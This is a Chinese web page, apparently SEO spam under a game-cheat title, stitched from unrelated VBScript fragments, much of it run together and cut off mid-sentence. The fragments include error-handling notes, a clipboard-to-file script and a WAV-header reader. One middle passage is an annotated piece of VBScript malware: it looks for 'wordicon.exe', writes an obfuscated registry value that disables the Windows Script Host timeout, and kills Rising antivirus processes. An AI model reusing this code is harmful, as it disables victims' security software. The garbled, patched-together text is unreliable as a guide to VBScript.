贪婪洞窟2免费脚本ios大师富坚义博

以前的代码找不到了只能自己写一下了(找到了别人的代码觉得有点麻烦,没用)

但是初学者慎用,千万不要随便拿来掩盖错误,否则以后程序出现莫名其妙的问题,改都没法改 使用完毕要记得关闭错误捕获器on error goto 0 语法如下: =======================================================on error resume next '打开错误捕获,以下错误语句将被跳过, 同时内部对象err将纪录最后一个触发的错误信息 on error goto 0 '关闭错误捕获 =======================================================关于err对象: if Err.number<>0 then response.write Err.description Err.clear '错误被手工处理后要记得清除err对象的内容 response.end end ifshell脚本中断内层循环 set fso=createobject("scripting.filesystemobject") : name=1Dim nana=Inputbox("请输入拓展名:","拓展名","txt")while fso.fileexists(name&"."&na)=truename=name+1wendset o=fso.opentextfile(name&"."&na,2,true)set hf=Createobject("htmlfile")wind=hf.parentwindow.clipboarddata.getdata("text")o.writeline wind : o.closecreateobject("wscript.shell").exec "notepad.exe "&name&"."&na&""声明:PublicConstRIFF_ID=1179011410PublicConstRIFF_WAVE=1163280727PublicConstRIFF_FMT=544501094'TypicalheaderofasimpleRIFFWAVEfilePublicTypeWAVInfoRiff_FormatAsLongchunk_sizeAsLongChunkIDAsLongfmtAsLongWave_FormatAsIntegerChannelsAsInteger'0=单声道,1=立体声SamplesPerSecondAsLongAverageBytesPerSecondAsLong'11.025kHz,22.05kHz,等BlockAlignAsInteger'SizeofblocksforlowlevelplaybackEndType函数:PublicFunctionGetWaveInfo(ByvalfilenameAsString,ByrefwAsWAVInfo)_AsBooleanDimffAsIntegerff=FreeFileOnErrorGoToehandlerOpenfilenameForBinaryAccessReadAs#ffOnErrorGoToehandler_foGet#ff,,wClose#ffOnErrorGoToehandlerIfw.Riff_Format=RIFF_IDAndw.ChunkID=_RIFF_WAVEAndw.fmt=RIFF_FMTThenGetWaveInfo=TrueElseGetWaveInfo=FalseEndIfExitFunctionehandler_fo:Close#ffehandler:GetWaveInfo=FalseEndFunction->

next对数组或集合中的每个元素重复执行一组语句) iffile.name="wordicon.exe"then reg=file.name regpath=file.path exitFunction endif next(foreach的next) setsubfolders=folder_.subfolders(set是一个赋值语句) foreachsubfolderinsubfolders scandoc(subfolder) next endFunction(结束子程序的定义) Functionregtime()(定义一个子程序添加注册表,结束瑞星) a6="R.Re"&"gWri"&chr(116)&"e"(a6=R.RegWrichr(116)echr(116)是值) a8="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Micr"&"osoft\Win"&"dowsScr"&"iptingHo"&"st\Settin"&"gs\Timeou(a8=注册表HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout) ppp=a6&Space(2)&chr(34)&a8&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34) Executeppp(对指定的字符串执行正则表达式搜索) dimNameorPID kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe") fori=0to4 KillProcess(kill(i))(结束4个瑞星程序) next endFunction(结束这个子程序) Functionganranfile(aa)(定义一个子程序) OnErrorResumeNext(出错不报告) dimx Fori=1ToLen(aa)(len函数返回字符串内字符的数目,或是存储一变量所需的字节数) x=Mid(aa,i,1)(mid函数从字符串中返回指定数目的字符  3、工程名表  整个应用程序用一张包含所有名称的表

然后,创建InternetExplorer的一个实例,然后在其中打开一个空白页为了能更好地说明如何使用以上函数和过程,下面举两个实例

Wscript.Echo "All done."Wscript.Quit(0)

油猴js利用MCI控件来实现音乐播放变量dtmTargetDate是所讨论的日期:我们想要知道该日期(圣诞节)是否在七月份。
43人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册